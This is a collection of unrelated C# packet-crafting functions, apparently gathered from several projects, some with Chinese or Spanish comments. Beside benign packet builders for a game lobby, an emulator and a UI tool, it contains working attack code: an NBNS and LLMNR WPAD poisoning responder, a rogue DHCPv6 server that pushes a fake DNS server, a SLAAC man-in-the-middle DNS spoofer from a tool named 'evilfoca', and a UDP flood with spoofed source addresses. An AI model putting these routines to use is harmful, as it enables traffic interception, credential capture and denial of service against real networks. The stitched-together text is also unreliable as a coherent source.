/// <summary> /// Fires off on a seperate thread when a packet is available /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void ProcessPacket(RawCapture incoming) { try { Packet packet = Packet.ParsePacket(LinkLayers.Ethernet, incoming.Data); EthernetPacket ethSrc = (EthernetPacket)packet.Extract(typeof(EthernetPacket)); IPv4Packet ipSrc = (IPv4Packet)packet.Extract(typeof(IPv4Packet)); if (ipSrc.Protocol == IPProtocolType.UDP) { UdpPacket udpSrc = (UdpPacket)packet.Extract(typeof(UdpPacket)); // From RFC 1002 Section 4.2.1.1 // Need to grab the transaction id for the reply UInt16 namedTrnId = BitConverter.ToUInt16(udpSrc.PayloadData, 0); // Looking for Response = query(0), OpCode = Query(0) // 11000000 00000000 UInt16 flags = Utility.ReverseUInt16(BitConverter.ToUInt16(udpSrc.PayloadData, 2)); if ((flags & 0xc000) == 0) { // Grab the name and make sure it's WPAD string name = Encoding.Default.GetString(udpSrc.PayloadData, 12, 34); if (Utility.DecodeName(name) == WpadHostName) { Logger.AddToInfoView("Received NBNS query for {0} from {1}", WpadHostName, ethSrc.SourceHwAddress); UdpPacket udpDst = new UdpPacket(NetbiosPort, NetbiosPort); udpDst.PayloadData = SetupResponse(namedTrnId, GetDeviceIp(this.Device)); IPv4Packet ipDst = new IPv4Packet(GetDeviceIp(this.Device), ipSrc.SourceAddress); ipDst.PayloadPacket = udpDst; udpDst.UpdateCalculatedValues(); udpDst.UpdateUDPChecksum(); ipDst.UpdateCalculatedValues(); ipDst.UpdateIPChecksum(); EthernetPacket ethDst = new EthernetPacket(this.Device.MacAddress, ethSrc.SourceHwAddress, EthernetPacketType.IpV4); ethDst.PayloadPacket = ipDst; ethDst.UpdateCalculatedValues(); Logger.AddToInfoView("Sending poisoned response for {0}", WpadHostName); this.Device.SendPacket(ethDst.Bytes); } } } else if (ipSrc.Protocol == IPProtocolType.TCP) { TcpPacket tcpSrc = (TcpPacket)packet.Extract(typeof(TcpPacket)); if (tcpSrc.Syn) { Logger.AddToInfoView("SYN sent {0}:{1}", ipSrc.DestinationAddress, tcpSrc.SourcePort); } } } catch (Exception ex) { Logger.AddToErrorView("OnPacketArrival", ex); } }
/// <summary> /// 使用函数构造UDP数据包 /// </summary> /// <param name="device"></param> /// <param name="dst_mac"></param> /// <param name="dst_ip"></param> /// <param name="src_port"></param> /// <param name="dst_port"></param> /// <param name="send_data"></param> /// <returns></returns> private byte[] GenUDPPacket(PcapDevice device, PhysicalAddress dst_mac, IPAddress dst_ip, int src_port, int dst_port, string send_data) { // 构造UDP部分数据报 UdpPacket udp_pkg = new UdpPacket((ushort)src_port, (ushort)dst_port); udp_pkg.PayloadData = strToToHexByte(send_data); udp_pkg.UpdateCalculatedValues(); // 构造IP部分数据报 IPv4Packet ip_pkg = new IPv4Packet(device.Interface.Addresses[1].Addr.ipAddress, dst_ip); ip_pkg.Protocol = IPProtocolType.UDP; ip_pkg.Version = IpVersion.IPv4; ip_pkg.PayloadData = udp_pkg.Bytes; ip_pkg.TimeToLive = 10; ip_pkg.UpdateCalculatedValues(); ip_pkg.UpdateIPChecksum(); // 构造以太网帧 EthernetPacket net_pkg = new EthernetPacket(device.MacAddress, dst_mac, EthernetPacketType.IpV4); net_pkg.Type = EthernetPacketType.IpV4; net_pkg.PayloadData = ip_pkg.Bytes; net_pkg.UpdateCalculatedValues(); return(net_pkg.Bytes); }
private void HandleUdpResponse(IPEndPoint source, UdpPacket response) { var ipPacket = new IPv4Packet(IP, source.Address); var ethernetPacket = new EthernetPacket((PhysicalAddress)MAC, arpTable[source.Address], EthernetPacketType.None); ipPacket.PayloadPacket = response; ethernetPacket.PayloadPacket = ipPacket; response.UpdateCalculatedValues(); this.Log(LogLevel.Noisy, "Sending UDP response: {0}", response); EthernetFrame.TryCreateEthernetFrame(ethernetPacket.Bytes, true, out var ethernetFrame); FrameReady?.Invoke(ethernetFrame); }
public Packet Build(EthernetPacket packet, UserSession session) { var mSrc = packet.SourceHardwareAddress; var mDst = PhysicalAddress.Parse("00-19-C5-12-C5-C9"); var ipPacket = packet.Extract <IPPacket>(); if (ipPacket == null) { return(null); } var udpPacket = packet.Extract <UdpPacket>(); if (udpPacket == null) { return(null); } var src = IPAddress.Parse("10.253.0.1"); var dst = ipPacket.SourceAddress; var newEthernetPacket = new EthernetPacket(mDst, mSrc, EthernetType.None); var newIpPacket = new IPv4Packet(src, dst); _payload[0x9d] = Convert.ToByte(_memoryContext.UserSession.Count()); var user = _userManager.Users.Where(u => u.Id == session.UserId).FirstOrDefault(); var newUdpPacket = new UdpPacket(udpPacket.DestinationPort, udpPacket.SourcePort); newUdpPacket.PayloadData = InjectName(_payload, $"Welcome {user.UserName}!"); newUdpPacket.UpdateCalculatedValues(); newIpPacket.PayloadPacket = newUdpPacket; newIpPacket.UpdateCalculatedValues(); newIpPacket.UpdateIPChecksum(); newEthernetPacket.PayloadPacket = newIpPacket; //await clients.Client(session.ConnectionId).SendGamePacket(session, newEthernetPacket); byte requestRegion = packet.Bytes[packet.Bytes.Length - 4]; session.Status = String.Format(UserStatus.AT_LOBBY, GetGameVersion(requestRegion)); _memoryContext.UserSession.Update(session); _memoryContext.SaveChangesAsync().Wait(); return(newEthernetPacket); }
public void GenerateLLMNRResponse(Packet packet) { try { LLMNR.LLMNRPacket llmnr = new LLMNR.LLMNRPacket(); llmnr.ParsePacket(((UdpPacket)(packet.PayloadPacket.PayloadPacket)).PayloadData); if (llmnr.Query.Name.ToLower().Equals("wpad") && llmnr.Query.Type.Value == LLMNR.DNSType.A) { WinPcapDevice dev = Program.CurrentProject.data.GetDevice(); IPAddress ip = Program.CurrentProject.data.GetIPv4FromDevice(dev); byte[] ipv4Addr = ip.GetAddressBytes(); llmnr.AnswerList.Add(new LLMNR.DNSAnswer() { Class = evilfoca.LLMNR.DNSClass.IN, Name = llmnr.Query.Name, Type = evilfoca.LLMNR.DNSType.A, RData = ipv4Addr, RDLength = (short)ipv4Addr.Length, TTL = 12 }); llmnr.IsResponse = true; EthernetPacket ethDns = new EthernetPacket(dev.MacAddress, ((EthernetPacket)packet).SourceHwAddress, EthernetPacketType.IpV4); IPv4Packet ipv4Dns = new IPv4Packet(ip, ((IPv4Packet)((EthernetPacket)packet).PayloadPacket).SourceAddress); UdpPacket udpDns = new UdpPacket(((UdpPacket)(packet.PayloadPacket.PayloadPacket)).DestinationPort, ((UdpPacket)(packet.PayloadPacket.PayloadPacket)).SourcePort); udpDns.PayloadData = llmnr.BuildPacket(); ipv4Dns.PayloadPacket = udpDns; udpDns.UpdateCalculatedValues(); udpDns.UpdateUDPChecksum(); ipv4Dns.UpdateIPChecksum(); ipv4Dns.UpdateCalculatedValues(); ethDns.PayloadPacket = ipv4Dns; Program.CurrentProject.data.SendPacket(ethDns); } } catch (Exception) { } }
public Packet GetSendPacket(PhysicalAddress sourceMAC, IPAddress sourceIPAddress) { // EthernetPacket ePacket = new EthernetPacket(PhysicalAddress.Parse("00-E0-4C-68-02-91"), PhysicalAddress.Parse("33-33-00-01-00-02"), EthernetPacketType.IpV6); // IPv6Packet ipPacket = new IPv6Packet(IPAddress.Parse("fe80::1c66:e750:c259:df88"), IPAddress.Parse("ff02::1:2")); EthernetPacket ePacket = new EthernetPacket(sourceMAC, PhysicalAddress.Parse("33-33-00-01-00-02"), EthernetPacketType.IpV6); IPv6Packet ipPacket = new IPv6Packet(sourceIPAddress, IPAddress.Parse("ff02::1:2")); ePacket.PayloadPacket = ipPacket; UdpPacket udpPacket = new UdpPacket(SOURCE_PORT, DEST_PORT); udpPacket.PayloadData = AddOtherOptions(DhcpV6MessagePacket).Encode().getAllBytes(); udpPacket.UpdateCalculatedValues(); ipPacket.PayloadPacket = udpPacket; udpPacket.UpdateUDPChecksum(); Console.WriteLine("Send Type({0}) transactionID:{1:X} ", DhcpV6MessagePacket.GetMessageType().ToString(), DhcpV6MessagePacket.GetTransactionId()); return(ePacket); }
private void processUdpFlood(Object Params) { AttackParams _params = Params as AttackParams; if (_params.UdpFloodEnabled) { NetworkInstruments.IpRandomizer IpSpoofer = new NetworkInstruments.IpRandomizer(); PhysicalAddress TargetMac = NetworkInstruments.ResolveMac(Adapter, _params.Target.Address); ICaptureDevice ActiveDevice = NetworkInstruments.getActiveDevice(Adapter.GetPhysicalAddress()); ActiveDevice.Open(); UdpPacket udpPacket = new UdpPacket(0, 80); IPv4Packet ipPacket = new IPv4Packet(IPAddress.Any, _params.Target.Address); ipPacket.Protocol = IPProtocolType.UDP; ipPacket.PayloadPacket = udpPacket; if (TargetMac == null) { ErrorHandler(1, "Can not get MAC target address"); return; } ; //unable to resolve mac EthernetPacket ethernetPacket = new EthernetPacket(Adapter.GetPhysicalAddress(), TargetMac, EthernetPacketType.None); ethernetPacket.PayloadPacket = ipPacket; while (Attacking) { udpPacket.SourcePort = (ushort)Randomizer.Next(1, 49160); udpPacket.DestinationPort = (ushort)Randomizer.Next(1, 49160); udpPacket.PayloadData = new byte[Randomizer.Next(500)]; Randomizer.NextBytes(udpPacket.PayloadData); udpPacket.UpdateCalculatedValues(); ipPacket.SourceAddress = IpSpoofer.GetNext(ref Randomizer, _params.RestrictedPool); ipPacket.TimeToLive = Randomizer.Next(20, 128); ipPacket.UpdateCalculatedValues(); ipPacket.UpdateIPChecksum(); ethernetPacket.SourceHwAddress = NetworkInstruments.GetRandomMac(ref Randomizer); ethernetPacket.UpdateCalculatedValues(); udpPacket.UpdateUDPChecksum(); ActiveDevice.SendPacket(ethernetPacket); udpCounter++; } } }
// IPv4 + UDP数据包封装函数 private EthernetPacket UdPonIPv4PacketMaker() { // Ether封包 var ether = new EthernetPacket(PhysicalAddress.Parse(MakeMaCaddr(SourceMAC1.Text, SourceMAC2.Text, SourceMAC3.Text, SourceMAC4.Text, SourceMAC5.Text, SourceMAC6.Text)), PhysicalAddress.Parse(MakeMaCaddr(DestMAC1.Text, DestMAC2.Text, DestMAC3.Text, DestMAC4.Text, DestMAC5.Text, DestMAC6.Text)), EthernetPacketType.IPv4); // UDP封包 var udp = new UdpPacket(Convert.ToUInt16(SourcePortTextBox.Text), Convert.ToUInt16(DestPortTextBox.Text)); if (PayloadTextBox.Text.Length != 0) { udp.PayloadData = Encoding.ASCII.GetBytes(PayloadTextBox.Text); } udp.UpdateCalculatedValues(); // IPv4封包 var IPv4 = new IPv4Packet(IPAddress.Parse(MakeIPaddr(SourceIP1.Text, SourceIP2.Text, SourceIP3.Text, SourceIP4.Text)), IPAddress.Parse(MakeIPaddr(DestIP1.Text, DestIP2.Text, DestIP3.Text, DestIP4.Text))) { TimeToLive = Convert.ToInt32(TTLTextBox.Text), Protocol = IPProtocolType.UDP, Version = IPVersion.IPv4, FragmentFlags = Convert.ToInt16(FragmentFlagsTextBox.Text), FragmentOffset = Convert.ToInt32(FragmentOffsetTextBox.Text), TypeOfService = Convert.ToInt32(TOSTextBox.Text), Id = Convert.ToUInt16(IdentifierTextbox.Text), PayloadPacket = udp }; ether.PayloadPacket = IPv4; IPv4.ParentPacket = ether; IPv4.UpdateIPChecksum(); udp.ParentPacket = IPv4; udp.UpdateUDPChecksum(); return(ether); }
/// <summary> /// Create packet that would be replied to by this listener if correctly injected /// </summary> /// <param name="data"></param> /// <returns></returns> public Packet GetReceivablePacket(byte[] data) { var ipBytes = LocalIp.GetAddressBytes(); ipBytes[3]++; var fakeIp = new IPAddress(ipBytes); var fakeMac = PhysicalAddress.Parse("001122334455"); var eth = new EthernetPacket(fakeMac, BroadcastMac, EthernetType.IPv6); var ip = new IPv4Packet(fakeIp, LocalIp); var udp = new UdpPacket(Port, Port); eth.PayloadPacket = ip; ip.PayloadPacket = udp; udp.PayloadData = data; udp.UpdateCalculatedValues(); ip.UpdateCalculatedValues(); udp.UpdateUdpChecksum(); ip.UpdateIPChecksum(); return(eth); }
unsafe public void AnalyzePacket(WinPcapDevice device, Packet p) { if (p.PayloadPacket == null || p.PayloadPacket.PayloadPacket == null || !(p.PayloadPacket.PayloadPacket is UdpPacket)) { return; } UdpPacket udp = (UdpPacket)p.PayloadPacket.PayloadPacket; if (udp.ParentPacket == null) { return; } if (!(udp.ParentPacket is IPv6Packet)) { return; } if (attacks.Where(A => A.attackType == AttackType.DHCPIpv6).Count() == 0) { return; } DhcpIPv6 attack = (DhcpIPv6)attacks.Where(A => A.attackType == AttackType.DHCPIpv6).First(); IPv6Packet packetIpLayer = (IPv6Packet)udp.ParentPacket; EthernetPacket ethernet = (EthernetPacket)p; /* * Info: http://en.wikipedia.org/wiki/DHCPv6 * Example * In this example, the server's link-local address is fe80::0011:22ff:fe33:5566/64 and the client's link-local address is fe80::aabb:ccff:fedd:eeff/64. * DHCPv6 client sends a Solicit from [fe80::aabb:ccff:fedd:eeff]:546 for [ff02::1:2]:547. * DHCPv6 server replies with an Advertise from [fe80::0011:22ff:fe33:5566]:547 for [fe80::aabb:ccff:fedd:eeff]:546. * DHCPv6 client replies with a Request from [fe80::aabb:ccff:fedd:eeff]:546 for [ff02::1:2]:547. (All client messages are sent to the multicast address, per section 13 of RFC 3315.) * DHCPv6 server finishes with a Reply from [fe80::0011:22ff:fe33:5566]:547 for [fe80::aabb:ccff:fedd:eeff]:546. */ DHCPv6Packet pa = new DHCPv6Packet(); pa.ParsePacket(udp.PayloadData); if (packetIpLayer.DestinationAddress.Equals(IPAddress.Parse("ff02::1:2"))) { EthernetPacket newPEthernet = new EthernetPacket(device.Interface.MacAddress, ethernet.SourceHwAddress, EthernetPacketType.IpV6); UdpPacket newUDP = null; IPAddress ipv6LocalLink = null; IPv6Packet newIpv6 = null; switch (pa.MessageType) { case DHCPv6Type.Solicit: if (pa.Options.ContainsKey(DHCPv6OptionCode.ClientIdentifier) && pa.Options.ContainsKey(DHCPv6OptionCode.IANA)) { newUDP = new UdpPacket(547, 546); byte[] iaid = pa.Options[DHCPv6OptionCode.IANA].Value; pa.MessageType = DHCPv6Type.Advertise; pa.Options.Remove(DHCPv6OptionCode.ElapsedTime); pa.Options.Remove(DHCPv6OptionCode.FQDM); pa.Options.Remove(DHCPv6OptionCode.VendorClass); pa.Options.Remove(DHCPv6OptionCode.OptionRequest); pa.Options.Remove(DHCPv6OptionCode.IANA); pa.AddServerIdentifierOption(device.MacAddress); pa.AddIANAOption(IPAddress.Parse(string.Format("{0}:{1}", attack.fakeIPRange.ToString().Substring(0, attack.fakeIPRange.ToString().LastIndexOf(':')), IpID)), iaid); pa.AddDNSOption(attack.fakeDns); pa.AddDomainSearchListOption(new string[] { "google.com" }); IpID++; newUDP.PayloadData = pa.BuildPacket(); ipv6LocalLink = IPAddress.Parse(Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(device).ToString()); newIpv6 = new IPv6Packet(ipv6LocalLink, packetIpLayer.SourceAddress); newIpv6.HopLimit = 1; newIpv6.PayloadPacket = newUDP; newPEthernet.PayloadPacket = newIpv6; newUDP.UpdateCalculatedValues(); newUDP.UpdateUDPChecksum(); Program.CurrentProject.data.SendPacket(newPEthernet); } break; case DHCPv6Type.Request: newUDP = new UdpPacket(547, 546); pa.MessageType = DHCPv6Type.Reply; pa.Options.Remove(DHCPv6OptionCode.ElapsedTime); pa.Options.Remove(DHCPv6OptionCode.FQDM); pa.Options.Remove(DHCPv6OptionCode.VendorClass); pa.Options.Remove(DHCPv6OptionCode.OptionRequest); pa.Options.Remove(DHCPv6OptionCode.DNS); pa.AddDNSOption(attack.fakeDns); pa.AddDomainSearchListOption(new string[] { "google.com" }); newUDP.PayloadData = pa.BuildPacket(); ipv6LocalLink = IPAddress.Parse(Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(device).ToString()); newIpv6 = new IPv6Packet(ipv6LocalLink, packetIpLayer.SourceAddress); newIpv6.HopLimit = 1; newIpv6.PayloadPacket = newUDP; newPEthernet.PayloadPacket = newIpv6; newUDP.UpdateCalculatedValues(); newUDP.UpdateUDPChecksum(); Program.CurrentProject.data.SendPacket(newPEthernet); break; case DHCPv6Type.InformationRequest: newUDP = new UdpPacket(547, 546); pa.MessageType = DHCPv6Type.Reply; pa.Options.Remove(DHCPv6OptionCode.ElapsedTime); pa.Options.Remove(DHCPv6OptionCode.FQDM); pa.Options.Remove(DHCPv6OptionCode.VendorClass); pa.Options.Remove(DHCPv6OptionCode.OptionRequest); pa.Options.Remove(DHCPv6OptionCode.IANA); pa.AddServerIdentifierOption(device.MacAddress); pa.AddDNSOption(attack.fakeDns); pa.AddDomainSearchListOption(new string[] { "google.com" }); newUDP.PayloadData = pa.BuildPacket(); ipv6LocalLink = IPAddress.Parse(Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(device).ToString()); newIpv6 = new IPv6Packet(ipv6LocalLink, packetIpLayer.SourceAddress); newIpv6.HopLimit = 1; newIpv6.PayloadPacket = newUDP; newPEthernet.PayloadPacket = newIpv6; newUDP.UpdateCalculatedValues(); newUDP.UpdateUDPChecksum(); Program.CurrentProject.data.SendPacket(newPEthernet); break; default: break; } } }
private void DNSCheck(Packet p) { EthernetPacket ethernet = (EthernetPacket)p; if (p.PayloadPacket.PayloadPacket is UdpPacket) { UdpPacket udp = p.PayloadPacket.PayloadPacket as UdpPacket; attacks.Where(a => a.attackType == AttackType.SlaacMitm).ToList().ForEach(currentAttack => { MitmAttack mitmAttack = currentAttack as MitmAttack; if (p.PayloadPacket is IPv6Packet) { switch (udp.DestinationPort) { case 53: Heijden.DNS.Response response = new Heijden.DNS.Response(new IPEndPoint(IPAddress.Parse("1.2.3.4"), 53), udp.PayloadData); var aaaaDns = (from q in response.Questions where q.QType == Heijden.DNS.QType.AAAA || q.QType == Heijden.DNS.QType.A select q).ToList(); //Para mostrar la pelotita de conexión a internet OK, respondemos al paquete Teredo de Microsoft en formato A. var aTeredoDns = (from q in response.Questions where q.QType == Heijden.DNS.QType.A && (q.QName.ToLower().Contains("teredo") || q.QName.ToLower().Contains("msftncsi")) select q).ToList(); if (aaaaDns != null && aaaaDns.Count > 0) { DNS.IPv6Query query = new DNS.IPv6Query(udp.PayloadData); string q = query.name; IPAddress[] ips = Dns.GetHostAddresses(q); DNS.IPv6Response resp = new DNS.IPv6Response(DNS.IPv6Query.Type.Ipv6, query.transID, query.nameDnsFormat, ips[0]); byte[] respByteAr = resp.GeneratePacket(); EthernetPacket ethDns = new EthernetPacket(localPhysicalAddress, ethernet.SourceHwAddress, EthernetPacketType.IpV4); IPv6Packet ipv6Dns = new IPv6Packet(((IPv6Packet)p.PayloadPacket).DestinationAddress, ((IPv6Packet)p.PayloadPacket).SourceAddress); UdpPacket udpDns = new UdpPacket(udp.DestinationPort, udp.SourcePort); udpDns.PayloadData = respByteAr; ipv6Dns.PayloadPacket = udpDns; ethDns.PayloadPacket = ipv6Dns; udpDns.UpdateCalculatedValues(); udpDns.UpdateUDPChecksum(); ipv6Dns.UpdateCalculatedValues(); Program.CurrentProject.data.SendPacket(ethDns); } else if (aTeredoDns != null && aTeredoDns.Count > 0) { DNS.IPv6Query query = new DNS.IPv6Query(udp.PayloadData); string q = query.name; IPAddress[] ips = Dns.GetHostAddresses(q); DNS.IPv6Response resp = new DNS.IPv6Response(DNS.IPv6Query.Type.Ipv4, query.transID, query.nameDnsFormat, ips[0]); byte[] respByteAr = resp.GeneratePacket(); EthernetPacket ethDns = new EthernetPacket(localPhysicalAddress, ethernet.SourceHwAddress, EthernetPacketType.IpV4); IPv6Packet ipv6Dns = new IPv6Packet(((IPv6Packet)p.PayloadPacket).DestinationAddress, ((IPv6Packet)p.PayloadPacket).SourceAddress); UdpPacket udpDns = new UdpPacket(udp.DestinationPort, udp.SourcePort); udpDns.PayloadData = respByteAr; ipv6Dns.PayloadPacket = udpDns; ethDns.PayloadPacket = ipv6Dns; udpDns.UpdateCalculatedValues(); udpDns.UpdateUDPChecksum(); ipv6Dns.UpdateCalculatedValues(); Program.CurrentProject.data.SendPacket(ethDns); } break; case 5355: LLMNR.LLMNRPacket llmnr = new LLMNR.LLMNRPacket(); llmnr.ParsePacket(udp.PayloadData); if (llmnr.Query.Type.HasValue && llmnr.Query.Type.Value == LLMNR.DNSType.AAAA) { IPAddress[] ips = (from ip in Dns.GetHostAddresses(llmnr.Query.Name) where ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork select ip).ToArray(); byte[] ipv6Addr = new byte[] { 0x00, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, (byte)ips[0].GetAddressBytes()[0], (byte)ips[0].GetAddressBytes()[1], (byte)ips[0].GetAddressBytes()[2], (byte)ips[0].GetAddressBytes()[3] }; llmnr.AnswerList.Add(new LLMNR.DNSAnswer() { Class = evilfoca.LLMNR.DNSClass.IN, Name = llmnr.Query.Name, Type = evilfoca.LLMNR.DNSType.AAAA, RData = ipv6Addr, RDLength = (short)ipv6Addr.Length }); EthernetPacket ethDns = new EthernetPacket(localPhysicalAddress, ethernet.SourceHwAddress, EthernetPacketType.IpV4); IPv6Packet ipv6Dns = new IPv6Packet(((IPv6Packet)p.PayloadPacket).DestinationAddress, ((IPv6Packet)p.PayloadPacket).SourceAddress); UdpPacket udpDns = new UdpPacket(udp.DestinationPort, udp.SourcePort); udpDns.PayloadData = llmnr.BuildPacket(); ipv6Dns.PayloadPacket = udpDns; ethDns.PayloadPacket = ipv6Dns; udpDns.UpdateCalculatedValues(); udpDns.UpdateUDPChecksum(); ipv6Dns.UpdateCalculatedValues(); Program.CurrentProject.data.SendPacket(ethDns); } break; default: break; } } }); } }